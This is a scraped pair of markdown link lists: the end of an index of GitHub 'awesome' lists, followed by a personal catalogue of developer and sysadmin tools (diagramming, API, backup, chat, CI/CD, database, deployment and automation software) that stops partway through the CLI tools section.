[Neuroscience](https://github.com/analyticalmonk/awesome-neuroscience#readme) - Study of the nervous system and brain. - [Ad-Free](https://github.com/johnjago/awesome-ad-free#readme) - Ad-free alternatives. - [Esolangs](https://github.com/angrykoala/awesome-esolangs#readme) - Programming languages designed for experimentation or as jokes rather than actual use. - [Prometheus](https://github.com/roaldnefs/awesome-prometheus#readme) - Open-source monitoring system. - [Homematic](https://github.com/hobbyquaker/awesome-homematic#readme) - Smart home devices. - [Ledger](https://github.com/sfischer13/awesome-ledger#readme) - Double-entry accounting on the command-line. - [Uncopyright](https://github.com/johnjago/awesome-uncopyright#readme) - Public domain works. - [Crypto Currency Tools & Algorithms](https://github.com/Zheaoli/awesome-coins#readme) - Digital currency where encryption is used to regulate the generation of units and verify transfers. - [Diversity](https://github.com/folkswhocode/awesome-diversity#readme) - Creating a more inclusive and diverse tech community. - [Open Source Supporters](https://github.com/zachflower/awesome-open-source-supporters#readme) - Companies that offer their tools and services for free to open source projects. - [Design Principles](https://github.com/robinstickel/awesome-design-principles#readme) - Create better and more consistent designs and experiences. - [Visual Regression Testing](https://github.com/mojoaxel/awesome-regression-testing#readme) - Ensures changes did not break the functionality or style. - [Theravada](https://github.com/johnjago/awesome-theravada#readme) - Teachings from the Theravada Buddhist tradition. - [inspectIT](https://github.com/inspectit-labs/awesome-inspectit#readme) - Open source Java app performance management tool. - [Open Source Maintainers](https://github.com/nayafia/awesome-maintainers#readme) - The experience of being an open source maintainer. - [Calculators](https://github.com/xxczaki/awesome-calculators#readme) - Calculators for every platform. - [Captcha](https://github.com/ZYSzys/awesome-captcha#readme) - A type of challenge–response test used in computing to determine whether or not the user is human. - [Jupyter](https://github.com/markusschanta/awesome-jupyter#readme) - Create and share documents that contain code, equations, visualizations and narrative text. - [FIRST Robotics Competition](https://github.com/andrewda/awesome-frc#readme) - International high school robotics championship. - [Humane Technology](https://github.com/humanetech-community/awesome-humane-tech#readme) - Open source projects that help improve society. - [Speakers](https://github.com/karlhorky/awesome-speakers#readme) - Conference and meetup speakers in the programming and design community. - [Board Games](https://github.com/edm00se/awesome-board-games#readme) - Table-top gaming fun for all. - [Software Patreons](https://github.com/uraimo/awesome-software-patreons#readme) - Fund individual programmers or the development of open source projects. - [Parasite](https://github.com/ecohealthalliance/awesome-parasite#readme) - Parasites and host-pathogen interactions. - [Food](https://github.com/jzarca01/awesome-food#readme) - Food-related projects on GitHub. - [Mental Health](https://github.com/dreamingechoes/awesome-mental-health#readme) - Mental health awareness and self-care in the software industry. - [Bitcoin Payment Processors](https://github.com/alexk111/awesome-bitcoin-payment-processors#readme) - Start accepting Bitcoin. - [Scientific Computing](https://github.com/nschloe/awesome-scientific-computing#readme) - Solving complex scientific problems using computers. - [Amazon Sellers](https://github.com/ScaleLeap/awesome-amazon-seller#readme) - [Agriculture](https://github.com/beaorn/awesome-agriculture#readme) - Open source technology for farming and gardening. - [Plotters](https://github.com/beardicus/awesome-plotters#readme) - Computer-controlled drawing machines and other visual art robots. - [Product Design](https://github.com/teoga/awesome-product-design#readme) - Design a product from the initial concept to production. - [Prisma](https://github.com/catalinmiron/awesome-prisma#readme) - Turn your database into a GraphQL API. - [Software Architecture](https://github.com/simskij/awesome-software-architecture#readme) - The discipline of designing and building software. - [Connectivity Data and Reports](https://github.com/stevesong/awesome-connectivity-info#readme) - Better understand who has access to telecommunication and internet infrastructure and on what terms. - [Stacks](https://github.com/stackshareio/awesome-stacks#readme) - Tech stacks for building different apps and features. - [Cytodata](https://github.com/cytodata/awesome-cytodata#readme) - Image-based profiling of biological phenotypes for computational biologists. - [IRC](https://github.com/davisonio/awesome-irc#readme) - Open source messaging protocol. - [Advertising](https://github.com/cenoura/awesome-ads#readme) - Advertising and programmatic media for websites. - [Earth](https://github.com/philsturgeon/awesome-earth#readme) - Find ways to resolve the climate crisis. - [Naming](https://github.com/gruhn/awesome-naming#readme) - Naming things in computer science done right. - [Biomedical Information Extraction](https://github.com/caufieldjh/awesome-bioie#readme) - How to extract information from unstructured biomedical data and text. ## Related - [Awesome Indexed](https://awesome-indexed.mathew-davies.co.uk) - Search the Awesome dataset. - [Awesome Search](https://awesomelists.top) - Quick search for Awesome lists.

--- sidebar: auto sidebarDepth: 2 --- # Useful Tools :mag_right: _This is a list of useful tools and programs for developers, devops, admins, ... but not only. Whereas most of them are Open Source, not all of them are. Please check licences that may apply. This list contains items that i **personally** find useful, usages may differ._ The concept behind that list is based on the famous "[awesome](https://github.com/sindresorhus/awesome)" lists you can find on github. Since they did not fully suited my need, i preferred to go with my own version. - You can find this project on [Github](https://github.com/trolologuy/useful-tools) <iframe src="https://ghbtns.com/github-btn.html?user=trolologuy&repo=useful-tools&type=star&count=true&size=small" frameborder="0" scrolling="0" width="90" height="20" title="Star Useful Tools on GitHub"></iframe> - If you want to find out more about me and my projects, you can find my [portfolio here](https://trolologuy.github.io/) Please feel free to comment or open a pull request if you know better tools / or alternatives or if some links are dead, ... 😉 ## Architecture / Modelling / UML / Diagrams _Planning is half the work_ - [cloudcraft](https://cloudcraft.co/) - Visualize your cloud architecture like a pro: create smart AWS diagrams - [](#) - [diagrams](https://www.diagrams.net/) - Online, desktop and container deployable diagramming software - [](#) - [gliffy](https://www.gliffy.com/) - Diagram software that integrates into confluence - [](#) - [Lucidchart](https://www.lucidchart.com/pages/) - Diagramming application that brings teams together - [](#) - [Staruml](http://staruml.io/) - A sophisticated Cross-Platform software modeler for agile and concise modeling - [](#) - [yed](https://www.yworks.com/products/yed) - Quickly and effectively generate high-quality diagrams. - [](#) ## Application Programming Interface (API) Development _'cause i'm API_ - [fastapi](https://github.com/tiangolo/fastapi) - Modern, fast (high-performance), web framework for building APIs with Python 3.6+ based on standard Python type hints. - [](#) - [Functionscript](https://github.com/acode/FunctionScript) - An API gateway and framework for turning JavaScript functions into web services. - [](#) - [hoppscotch](https://github.com/hoppscotch/hoppscotch) - Open source API development ecosystem- [](#) - [Linx](https://linx.software) - A low-code development platform to implement, debug and host custom APIs,- [](#) - [Postman](https://www.postman.com/downloads/) - Complete API Development Environment - [](#) - [Postwoman](https://github.com/liyasthomas/postwoman) - A free, fast and beautiful API request builder (web alternative to Postman) - [](#) - [public-apis](https://github.com/public-apis/public-apis) - A collective list of free APIs for use in software and web development. - [](#) - [Swagger](https://swagger.io/tools/open-source/) - Easy-to-use suite of API developer tools for teams and individuals, enabling development across the entire API lifecycle, from design and documentation, to test and deployment - [](#) ## Backup / Archiving / Restoration / ... _This category doesn't need an introduction i guess_ - [Borg](https://github.com/borgbackup/borg) - Deduplicating archiver with compression and authenticated encryption - [](#) - [burp](https://burp.grke.org/) - Network backup and restore program. It attempts to reduce network traffic and the amount of space that is used by each backup. - [](#) - [ceph](https://ceph.io/) - Storage platform - [](#) - [ddrescue](https://www.gnu.org/software/ddrescue/) - A data recovery tool. It copies data from one file or block device (hard disc, cdrom, etc) to another, trying to rescue the good parts first in case of read errors - [](#) - [dotdrop](https://github.com/deadc0de6/dotdrop) - Save your dotfiles once, deploy them everywhere. - [](#) - [Duplicity](http://duplicity.nongnu.org/) - Duplicity backs directories by producing encrypted tar-format volumes and uploading them to a remote or local file server. - [](#) - [edocperso](https://edocperso.fr/) - Store pay slips, invoices, tax assessment and more through collectors that automatically gather your documents. - [](#) - [fogproject](https://github.com/FOGProject/fogproject) - A cloning/imaging solution/rescue suite. FOG can be used to image Windows XP, Vista, Windows 7, Window 8, and Windows 10 PCs using PXE, PartClone, and a Web GUI to tie it together - [](#) - [freefilesync](https://freefilesync.org/) - Folder comparison and synchronization software that creates and manages backup copies of all your important files - [](#) - [lodestone](https://github.com/AnalogJ/lodestone/) - Personal Document Archiving (DMS, EDMS for Personal/Home Office use) - [](#) - [mackup](https://github.com/lra/mackup) - Keep your application settings in sync (macOS / Linux) - [](#) - [paperless](https://github.com/the-paperless-project/paperless) - Scan, index, and archive all of your paper documents - [](#) - [papermerge](https://github.com/ciur/papermerge) - Document Management System (DMS) for Scanned Documents - [](#) - [phpmyadmin_sql_backup](https://github.com/qubitstream/phpmyadmin_sql_backup) - A Python script to automate SQL dumps via phpMyAdmin's web interface - [](#) - [rclone](https://rclone.org/) - A command line program to manage files on cloud storage. Rclone can mount any local, cloud or virtual filesystem as a disk on Windows, macOS, linux and FreeBSD, and also serve these over SFTP, HTTP, WebDAV, FTP and DLNA. - [](#) - [rsync](https://rsync.samba.org/) - An utility that provides fast incremental file transfer that can use rsh, ssh or direct sockets as the transport - [](#) - [shallow-backup](https://github.com/alichtman/shallow-backup) - Git-integrated backup tool for macOS and Linux devs. - [](#) - [sqlbackup](https://sqlbak.com/) - Backup, monitor and restore databases from the web - [](#) - [tarsnap](https://github.com/Tarsnap/tarsnap) - Secure, efficient online backup service. Online backups for the truly paranoid. - [](#) - [unraid](https://unraid.net/product) - Linux-based operating system optimized for media file storage - [](#) - [Windows File Recovery](https://www.microsoft.com/en-us/store/r/windows-file-recovery/9n26s50ln705) - Accidentally deleted an important file? Wiped clean your hard drive? Unsure of what to do with corrupted data? Windows File Recovery can help recover your personal data. - [](#) ## Blogs _Some helpful Blogs and Tech News websites_ - [0x4a414e](https://0x4a414e.space/) - :en: - Technical blog - [Alsacreations](https://www.alsacreations.com/) - :fr: - HTML, CSS, JavaScript tutorials - [awwwards](https://www.awwwards.com/) - The awards of design, creativity and innovation on the internet. Good source of inspiration - [codingdose](https://codingdose.info/) - :gb: - Mostly Python related - [CSS-Tricks](https://css-tricks.com/) - :gb: - Articles, Snippets about CSS Tipps and tricks. - [D. Kriesel](http://www.dkriesel.com/) - :de: - Data Science, Machine Learning, ... - [Daniel Kriesel](http://www.dkriesel.com/) - :de: + :gb: - Data science Guru - [Daniel Stenberg](https://daniel.haxx.se/blog/) - :gb: - Lead developer of Curl - [Dev.to](https://dev.to/) - :gb: - online community. Anyone can share articles, questions, discussions, etc. - [Developer Portfolios](https://github.com/emmabostian/developer-portfolios) - A list of developer portfolios for your inspiration - [Frankys Web](https://www.frankysweb.de) - :de: - Exchange-Guru - [Golem](https://www.golem.de) - :de: - News - [haydenjames](https://haydenjames.io/) - :uk: - A blog covering Linux Systems Administration - [Heise](https://www.heise.de) - :de: - News - [journalofnomads](https://www.journalofnomads.com/) - :gb: - A blog about travels and outdoors - [korben.info](https://korben.info/) - :fr: - Famous blogger - [lanbugs](https://lanbugs.de/) - :de: - Interesting reallife examples - [Phoenixjp](http://www.phoenixjp.net/news/fr/) - :fr: - News agregator - [scotch.io](https://scotch.io/) - :uk: - A place where developers can help developers by sharing knowledge, tips, and tactics to get better at their craft. - [Substack](https://substack.com/) - Alternative to Medium. - [t3n](https://t3n.de/) - :de: - News - [Thomas-Krenn-Wiki](https://www.thomas-krenn.com/en/wiki/Main_Page) - :de: - Well documented wiki - [Troy Hunt](https://www.troyhunt.com/) - :gb: - The guy behing "haveibeenpwned.com" - [Wes bos](https://wesbos.com/) - :uk: - The Blog of a full stack web developer and designer from Hamilton, Canada which offers courses, ... - [xavki](https://xavki.blog/) - :fr: - Devops. Blogs abour open source: Docker, ansible, jenkins, ... ## Banking _Time is money as they say :hourglass_flowing_sand: :money_with_wings:_ - [firefly-iii](https://github.com/firefly-iii/firefly-iii) - A personal finances manager - [](#) - [splitwise](https://www.splitwise.com/) - Share expenses or rent price. - [](#) - [tricount](https://www.tricount.com/) - Make sharing expenses simple for travel, activities and daily life. - [](#) ## Bots / Chatbots - [cunningbot](https://cunningbot.com/) - Helps you find the best domain names. - [](#) - [integram](https://integram.org/) - Integrate Telegram into your workflow – Trello, Github, Gitlab, Bitbucket and other bots - [](#) - [intergram](https://github.com/idoco/intergram) - Free live chat widget linked to your Telegram messenger - [](#) - [landbot](https://landbot.io) - Most Intuitive No Code Chatbot Builder - [](#) - [opendialog](https://opendialog.ai/) - Design context-rich, multi-turn conversations. - [](#) - [rasa](https://rasa.com/) - Build contextual assistants that really help customers - [](#) ### Telegram Bots - [@freesteamgames](https://t.me/freesteamgames) - Get notified when someone publish a subreddit in /r/FreeGamesOnSteam - [@GitHubBot](https://www.t.me/githubbot) - Github Telegram Integration (not officially made by github) - [@gitlab_bot](https://www.t.me/gitlab_bot) - Gitlab Telegram Integration - [@GrabFreeGames](https://t.me/GrabFreeGames) - Finding big game giveaways, where everyone wins! - [@officialuptimerobot](https://www.t.me/officialuptimerobot) - Uptime Robot Telegram Integration ## Browsers _The thing you use to navigate through the depth of internet_ - [brave](https://brave.com/) - Get money from ads while browsing. - [](#) - [brow.sh](https://www.brow.sh/) - Broswh is a fully-modern text-based browser. It renders anything that a modern browser can; HTML5, CSS3, JS, video and even WebGL - [](#) - [Vivaldi](https://vivaldi.com/) - Every aspect of Vivaldi can be tweaked and customized (look & feel, ...). - [](#) ## Calculus _Struggling with numbers ? So am i, here are tools to help_ - [symbolab](https://www.symbolab.com) - An advanced math education tool - [](#) - [numbr](https://numbr.dev/) - smart calculator combined with a notepad. - [](#) - [Omnicalculator](https://www.omnicalculator.com/statistics) - Calculate Odds, Chi-square, ... without headache - [](#) ## Data - [airbyte](https://airbyte.com/) - EL(T) platform that helps sync data from applications, APIs & databases to warehouses, lakes & other destinations. - [](#) - [croc](https://github.com/schollz/croc) - Easily and securely send things from one computer to another 🐊 📦. - [](#) - [datacater](https://datacater.io/) - Integrate your data systems with streaming data pipelines - [](#) - [dbt](https://docs.getdbt.com/docs/introduction) - dbt (data build tool) enables analytics engineers to transform data in their warehouses by simply writing select statements. dbt handles turning these select statements into tables and views. - [](#) - [facebook-delete](https://github.com/marcelja/facebook-delete) - Clean up a facebook account without deleting the entire account. - [](#) - [garage](https://garagehq.deuxfleurs.fr/) - Distributed storage service to host a website, store media, have a backup target. Can be self-hosted. - [](#) - [jitsu](https://github.com/jitsucom/jitsu) - High-performance data collection service. - [](#) - [minio](https://github.com/minio/minio) - Multi-Cloud ☁️ Object Storage. - [](#) - [muzejs](https://muzejs.org/) - Data visualization library to create composable and interactive data visualization for the web - [](https://github.com/chartshq/muze) - [prefect](https://docs.prefect.io/core/) - The easiest way to automate your data. Prefect is the new standard in dataflow automation, trusted to build, run, and monitor millions of data workflows, pipelines and add semantics like retries, logging, dynamic mapping, caching, failure notifications, and more. - [](#)s - [re_data](https://github.com/re-data/dbt-re-data) - re_data is a set of tools (dbt macros & models) that helps you with making sure your data pipelines are clean & reliable. - [](#) ### JSON - [JSON Schema](https://json-schema.org/understanding-json-schema/index.html#) - A tool for validating the structure of JSON data. - [](#) - [json2html](https://github.com/moappi/visualizer.json2html) - Simple JSON visualizer - [Jsonnet](https://jsonnet.org/) - A data templating language - [](#) ## Chat / Communication _Good communication is an art, so get the right tools to get it right_ - [chatwoot](https://github.com/chatwoot/chatwoot) - Open-source live chat software - [](#) - [Ferdi](https://getferdi.com/) - All your messaging services in one place - [](#) - [Franz](https://meetfranz.com/) - Aggregates lots of differents chat-tools - [](#) - [Matrix](https://matrix.org/blog/home/) - A new basis for open, interoperable, decentralised real-time communication - [](#) - [matterbridge](https://github.com/42wim/matterbridge) - bridge between mattermost, IRC, gitter, xmpp, slack, discord, telegram, rocketchat, twitch, ssh-chat, zulip, whatsapp, keybase, matrix, microsoft teams, nextcloud, mumble and more with REST API (mattermost not required!) - [](#) - [Rambox](https://rambox.pro/) - Aggregates lots of different chat-tools - [](#) - [Revolt](https://revolt.chat/) - Privacy-first chat software that can be selfhosted. - [](#) - [Rocket Chat](https://rocket.chat/) - The ultimate Free Open Source Solution for team communications - [](#) - [Signal](https://www.signal.org/) - Fast, simple, secure. Privacy that fits in your pocket. - []() - [Stack](https://getstack.app/) - Stack is a smart browser for internet multitaskers. Manage all your social media, messaging, e-mailing, and productivity apps from one place! - [](#) - [Tangram](https://github.com/sonnyp/Tangram) - Organize and run your Web applications. Each tab is persistent and independent. You can set multiple tabs with different accounts for the same application. Similar to Franz. - [](#) - [Telegram](https://telegram.org/) - Cloud-based mobile and desktop messaging app. Can be extended by many bots or through the API. - [](#) - [Whatsapp](https://www.whatsapp.com/) - Secure, reliable messaging and calling, available on phones. - [](#) ## Conferences - [Chaos Computer Club](https://media.ccc.de/) - [fosdem](https://fosdem.org/2020/schedule/events/) - [FrOSCon](https://www.froscon.de/en/) - FrOSCon (Free and Open Source Software Conference). ## Conversions _Converting from one format to another_ - [Pandoc](http://pandoc.org/) - If you need to convert files from one markup format into another, pandoc is your swiss-army knife - [](#) ## Craft / Home Automation _Doing stuff in real life too?_ - [home-assistant](https://github.com/home-assistant/core) - Home automation that puts local control and privacy first - [](#) - [Meshroom](https://github.com/alicevision/meshroom) - 3D Reconstruction Software - [](#) - [MicroscoPy](https://github.com/IBM/MicroscoPy) - An open-source MICROSCOPE built using LEGO bricks, 3D-printing, Arduino and Raspberry Pi - [](#) - [Precious Plastic](https://preciousplastic.com/) - Start a business from plastic waste! - [](#) - [Tasmota](https://github.com/arendst/Tasmota) - Alternative firmware for ESP8266 based devices with easy configuration using webUI, OTA updates, automation using timers or rules, expandability and entirely local control over MQTT, HTTP, Serial or KNX. Written for Arduino IDE and PlatformIO. - [](#) - [Templatemaker](https://www.templatemaker.nl/en/) - Custom sized papercraft and packaging templates for free - [](#) ## Code style, review, quality and security / Linters / Debugging _Code quality and standarts should be enforced more often, that's for sure! Which team are you on, Stroustrup or Allman ?_ - [bundlephobia](https://github.com/pastelsky/bundlephobia) - Find the cost of adding a node npm package to your bundle - [](#) - [checkov](https://www.checkov.io/) - Scans cloud infrastructure configurations to find misconfigurations before they're deployed. Analyze infrastructure as code (IaC) scan results across platforms such as Terraform, CloudFormation, Kubernetes, Helm, ARM Templates and Serverless framework. - [](#) - [codeclimate](https://codeclimate.com/) - Automated code review and quality analytics. - [](#) - [commitizen](https://github.com/commitizen/cz-cli) - The commitizen command line utility. - [](#) - [deno](https://github.com/denoland/deno) - A secure JavaScript and TypeScript runtime - [](#) - [editorconfig](https://github.com/editorconfig/editorconfig) - EditorConfig helps maintain consistent coding styles for multiple developers working on the same project across various editors and IDEs. The EditorConfig project consists of a file format for defining coding styles and a collection of text editor plugins that enable editors to read the file format and adhere to defined styles. - [](#) - [gerrit](https://github.com/GerritCodeReview/gerrit) - Code Review tool - [](#) - [lepton](https://github.com/hackjutsu/Lepton) - Snippet Management (macOS/Win/Linux) - [](#) - [massCode](https://github.com/antonreshetov/massCode) - Code snippets manager for developers. - [](#) - [pyre-check](https://github.com/facebook/pyre-check) - Performant type-checking for python. - [](#) - [rebound](https://github.com/shobrook/rebound/) - Command-line tool that instantly fetches Stack Overflow results when an exception is thrown. - [](#) - [scc](https://github.com/boyter/scc) - Very fast accurate code counter with complexity calculations - [](#) - [semantic-release](https://github.com/semantic-release/semantic-release) - Automates the whole package release workflow including: determining the next version number, generating the release notes and publishing the package. - [](#) - [ShellCheck](https://www.shellcheck.net/) - ShellCheck finds bugs in your shell scripts. - [](#) - [snibox](https://snibox.github.io/) - Self-hosted snippet manager. Developed to collect and organize code snippets - [](#) - [snipper](https://snipper.app/) - Code snippets manager - [](#) - [Sonarlint](https://www.sonarlint.org/) - SonarLint is an IDE extension that helps you detect and fix quality issues as you write code (linter). - [](#) - [Sonarqube](https://www.sonarqube.org/) - A tool for continuously inspecting the Code Quality and Security of your codebases, and guiding development teams during Code Reviews. - [](#) - [Source Graph](https://docs.sourcegraph.com/) - Find anything in multiple code repositories, fast and make large-scale code changes. - [](#) - [Sourcetrail](https://www.sourcetrail.com/) - Free and open-source cross-platform source explorer. Get productive on unfamiliar source code. - [](https://github.com/CoatiSoftware/Sourcetrail) - [super-linter](https://github.com/github/super-linter) - Combination of multiple linters to install as a GitHub Action - [](#) - [tabnine](https://tabnine.com/) - Smart Compose for code. Deep learning to help you write code faster. - [](#) - [ukip](https://github.com/google/ukip) - USB Keystroke Injection Protection - [](#) - [Vaultproject](https://www.vaultproject.io/) - Manage Secrets and Protect Sensitive Data: Secure, store and tightly control access to tokens, passwords, certificates, encryption keys for protecting secrets and other sensitive data using a UI, CLI, or HTTP API. - [](#) ### Vale - [errata-ai/Google](https://github.com/errata-ai/Google) - A Vale-compatible implementation of the Google Developer Documentation Style Guide. - [](#) - [Openly](https://github.com/testthedocs/Openly) - Vale linter style that attempts to emulate some features of Grammarly. - [](#) - [vale-styles](https://github.com/testthedocs/vale-styles) - Checks for Vale based on popular style guides. - [](#) ### Python - [Black](https://github.com/psf/black) - The uncompromising Python code formatter - [](#) - [colorama](https://github.com/tartley/colorama) - cross-platform colored terminal text in Python - [](#) - [context_menu](https://github.com/saleguas/context_menu) - A Python library to create and deploy cross-platform native context menus. - [](#) - [deep_translator](https://github.com/nidhaloff/deep_translator) - A tool to translate between different languages in a simple way using multiple translators. - [progress](https://github.com/verigak/progress) - Easy to use progress bars for Python - [](#) - [Pylint](https://github.com/PyCQA/pylint) - A Python static code analysis tool (linter) which looks for programming errors, helps enforcing a coding standard, sniffs for code smells and offers simple refactoring suggestions. - [](#) - [python-package-template](https://github.com/TezRomacH/python-package-template) - 🚀 Your next Python package needs a bleeding-edge project structure. - [](#) - [python-progressbar](https://github.com/WoLpH/python-progressbar) - A progress bar for Python 2 and Python 3 - [](#) - [pythondialog](https://pypi.org/project/pythondialog/) - A Python interface to the UNIX dialog utility and mostly-compatible programs - [](#) - [Simpdf](https://github.com/shashanoid/Simpdf) - Simple PDF text editor - [](#) - [tqdm](https://github.com/tqdm/tqdm) - A Fast, Extensible Progress Bar for Python and CLI - [](#) - [typer](https://github.com/tiangolo/typer) - Easy to code. Based on Python type hints. - [](#) - [wemake-python-styleguide](https://github.com/wemake-services/wemake-python-styleguide) - The strictest and most opinionated python linter ever - [](#) ## Cheatsheets _How was it again?_ - [Devdocs](https://devdocs.io/) - DevDocs combines multiple API documentations in a fast, organized, and searchable interface.- [](https://github.com/freeCodeCamp/devdocs) - [devhints](https://devhints.io/) - Cheatsheets for bash, react, go, ... - [](#) - [git](https://rogerdudler.github.io/git-guide/) - just a simple guide for getting started with git. no deep shit ;) - [](#) - [macOS-Security-and-Privacy-Guide](https://github.com/drduh/macOS-Security-and-Privacy-Guide) - Guide to securing and improving privacy on macOS - [](#) - [Markdown - md](https://github.com/adam-p/markdown-here/wiki/Markdown-Cheatsheet) - A quick reference and showcase - [](#) - [Markdown - Smileys](https://gist.github.com/rxaviers/7360908) - Complete list of github markdown emoji markup - [](#) - [wordpress](https://www.codeinwp.com/blog/wordpress-5-0-cheat-sheet/) - This is your cut-out-‘n-keep WordPress 5.0 cheat sheet. ✂️ - [](#) ## Clustering _Always wanted to spread load between different machines to calculate things?_ - [Slurm](https://github.com/SchedMD/slurm) - Highly Scalable Workload Manager [](#) ## Configuration Management - [i-doit](https://www.i-doit.org/) - Configuration and Management Database that allows to follow ITIL best practises. CMDB + IPAM - [](#) ## Continuous Integration (CI) / Continuous Delivery (CD) _You will be assimilated_ - [argo-cd](https://argoproj.github.io/argo-cd/) - GitOps continuous delivery tool for Kubernetes - [](#) - [circleci](https://circleci.com/pricing/) - Automate your development process with CI hosted in the cloud or on a private server. - [](#) - [harness](https://harness.io/) - Jenkins Pipelines not scaling for CD? - [](#) - [Jenkins](https://jenkins.io/) - An automation server, Jenkins provides hundreds of plugins to support building, deploying and automating any project. - [](https://github.com/jenkinsci/jenkins) - [Rudder](https://www.rudder.io/en/) - Multi-platform solution for managing configurations of mission-critical systems. - [](#) - [semantic-release](https://github.com/semantic-release/semantic-release) - Fully automated version management and package publishing. - [](#) - [shipjs](https://github.com/algolia/shipjs) - Take control of what is going to be your next release. - [](#) - [Spacelift](https://spacelift.io/) - Sophisticated and compliant infrastructure delivery platform for Terraform, CloudFormation, Pulumi, and Kubernetes. - [](#) - [Travis](https://travis-ci.org/) - Test and Deploy code - [](#) ### Automated tests - [behat](https://docs.behat.org/en/latest/) - Behat is a BDD framework for PHP to help you test business expectations. - [](#) - [jestjs](https://jestjs.io/) - JavaScript Testing Framework with a focus on simplicity. It works with projects using: Babel, TypeScript, Node, React, Angular, Vue and more! - [](#) - [majestic](https://github.com/Raathigesh/majestic) - ⚡ Zero config GUI for Jest - [](#) ## Databases - Related Stuff _Store that data_ - [Adminer](https://www.adminer.org/#download) - Database management in a single PHP file - [](https://github.com/vrana/adminer/) - [arctype](https://www.arctype.com/) - The SQL client and database management tool that's fun to use - [](#) - [Dbeaver](http://dbeaver.io/) - Free universal database tool and SQL client - [](#) - [directus](https://directus.io/) - An Instant App & API for your SQL Database. - [getmedis](http://getmedis.com/) - Beautiful Management Application for Redis - - [](#) - [hasura](https://hasura.io/) - From your databases to a unified GraphQL API. - [](#) - [InfluxDB](https://www.influxdata.com/) - Purpose-built to handle massive volumes and countless sources of time-stamped data produced by sensors, applications and infrastructure (for IoT, analytics and monitoring software). - [](#) - [keydb](https://keydb.dev/keydb-open-source/) - fastest in-memory database in the world - [](#) - [nocodb](https://www.nocodb.com/) - Platform that turns any database into a smart spreadsheet - [](#) - [SQLAlchemy](https://www.sqlalchemy.org/) - The Python SQL Toolkit and Object Relational Mapper - [](https://github.com/sqlalchemy/sqlalchemy/) Directus wraps your new or existing SQL database with a realtime GraphQL+REST API for developers, and an intuitive admin app for non-technical users. - [](#) - [Steampipe](https://steampipe.io/) - Use SQL to instantly query your cloud services (AWS, Azure, GCP and more). Open source CLI. No DB required. - [](#) ## Deployment / Remote management / MDM _Who likes to do stuff manually anyway ¯\_(ツ)_/¯_ - [Airwatch](https://www.air-watch.com/) - Enterprise mobility management (EMM) is a device- and platform-agnostic solution that centralizes the management, configuration and security of all devices in an organization, both BYO and corporate-owned. EMM goes beyond traditional device management to include the management and configuration of enterprise apps and content. - [](#) - [Ansible](https://github.com/ansible/ansible) - Automation platform that makes your applications and systems easier to deploy. Uses SSH only, no agents to install on remote systems. - [](#) - [chaosmonkey](https://github.com/Netflix/chaosmonkey) - A resiliency tool that helps applications tolerate random instance failures. It randomly terminates virtual machine instances and containers that run inside of your production environment - [](#) - [Cloud Foundry BOSH](https://github.com/cloudfoundry/bosh) - Release engineering, deployment, lifecycle management, and monitoring of distributed systems. - [](#) - [deployer.org](https://deployer.org/) - A deployment tool written in PHP with support for popular frameworks out of the box. - [](#) - [freckles](https://freckles.io/) - Python framework that helps getting computational environments into a defined state, with minimal amount of hassle - [](#) - [istio](https://istio.io/) - Connect, secure, control, and observe (micro)services. - [](#) - [Jamf](https://www.jamf.com/) - Mobile Device Management specialized on Apple / macOS products. - [](#) - [Linuxgsm](https://linuxgsm.com/) - The command-line tool for quick, simple deployment and management of Linux dedicated game servers. - [](https://github.com/GameServerManagers/LinuxGSM) - [Microsoft Deployment Toolkit](https://docs.microsoft.com/en-us/sccm/mdt/) - Microsoft Deployment Toolkit (MDT) provides a unified collection of tools, processes, and guidance for automating desktop and server deployments. - [](#) - [Molecule](https://github.com/ansible-community/molecule) - Helps in the development and testing of Ansible roles - [](#) - [netboot](https://netboot.xyz/) - PXE boot various operating system installers or utilities from one place within the BIOS without the need of having to go retrieve the media to run the tool. You can remote attach the ISO to servers, set it up as a rescue option in Grub, or even set up your home network to boot to it by default so that it's always available. - [](https://github.com/netbootxyz/netboot.xyz) - [netlify](https://www.netlify.com/) - Deploy your site in seconds (through github) - [](#) - [terraform](https://www.terraform.io/) - Use Infrastructure as Code to provision and manage any cloud, infrastructure, or service - [](#) - [Vagrant](https://github.com/hashicorp/vagrant) - Vagrant is a tool for building and distributing development environments. - [](#) ## Automation - [autoit](https://www.autoitscript.com/site/autoit/) - BASIC-like scripting language designed for automating the Windows GUI and general scripting (simulated keystrokes, mouse movement and window/control manipulation). - [](#) - [Automa](https://github.com/AutomaApp/automa) - A chrome extension for automating your browser by connecting blocks - [](#) - [automate.io](https://automate.io/) - Connect your cloud apps. Automate work. - [](#) - [Hazel](https://www.noodlesoft.com/) - Automated Organization for macOS. - [](#) - [n8n](https://n8n.io/) - Automation platform (zapier like) - [](#) - [Parabola](https://parabola.io/) - Your computer should work for you. Automates processes via an easy-to-use, drag-and-drop interface. - [](#) - [reflex](https://github.com/cespare/reflex) - Run a command when files change - [](#) - [SikuliX1](https://github.com/RaiMan/SikuliX1) - SikuliX automates anything you see on the screen of your desktop computer running Windows, Mac or some Linux/Unix. It uses image recognition to identify GUI components and can act on them with mouse and keyboard actions. - [](#) - [watchexec](https://github.com/watchexec/watchexec) - Executes commands in response to file modifications - [](#) ### Browser Automation - [nightmare](https://github.com/segmentio/nightmare) - High-level browser automation library from Segment. - [](#) - [Phantom JS](https://github.com/ariya/phantomjs) - Scriptable Headless Browser scriptable with JavaScript - [](#) - [selenium](https://github.com/SeleniumHQ/selenium) - A browser automation framework and ecosystem - [](#) ## Command Line Interface (CLI) - tools - [bullet](https://github.com/bchao1/bullet) - Beautiful Python Prompts Made Simple - [](#) - [cement](https://github.com/datafolklabs/cement) - Advanced Application Framework for Python, with a primary focus on Command Line Interfaces (CLI). Its goal is to introduce a standard, and feature-full platform for both simple and complex command line applications as well as support rapid development needs without sacrificing quality. - [](#) - [cliff](https://github.com/openstack/cliff) - Framework for building command line programs. It uses entry points to provide subcommands, output formatters, and other extensions. - [](#) - [enhancd](https://github.com/b4b4r07/enhancd) - 🚀 A next-generation cd command with your interactive filter - [](#) - [fd](https://github.com/sharkdp/fd) - A simple, fast and user-friendly alternative to 'find' - [](#) - [flow](https://www.getflow.com/why-flow) - Brings together your tasks, projects, timelines, and conversations, - [fx](https://github.com/antonmedv/fx) - Alternative to JQ - [](#) - [fzf](https://github.com/junegunn/fzf) - 🌸 A command-line fuzzy finder - [](#) - [htop](https://en.wikipedia.org/wiki/Top_(software)) - Interactive system-monitor for Linux or [bashtop](https://github.com/aristocratos/bashtop) - [htmlq](https://github.com/mgdm/htmlq) - Like jq, but for HTML. - [](#) - [jq](https://stedolan.github.io/jq/) - sed for JSON data - you can use it to slice and filter and map and transform structured data with the same ease that 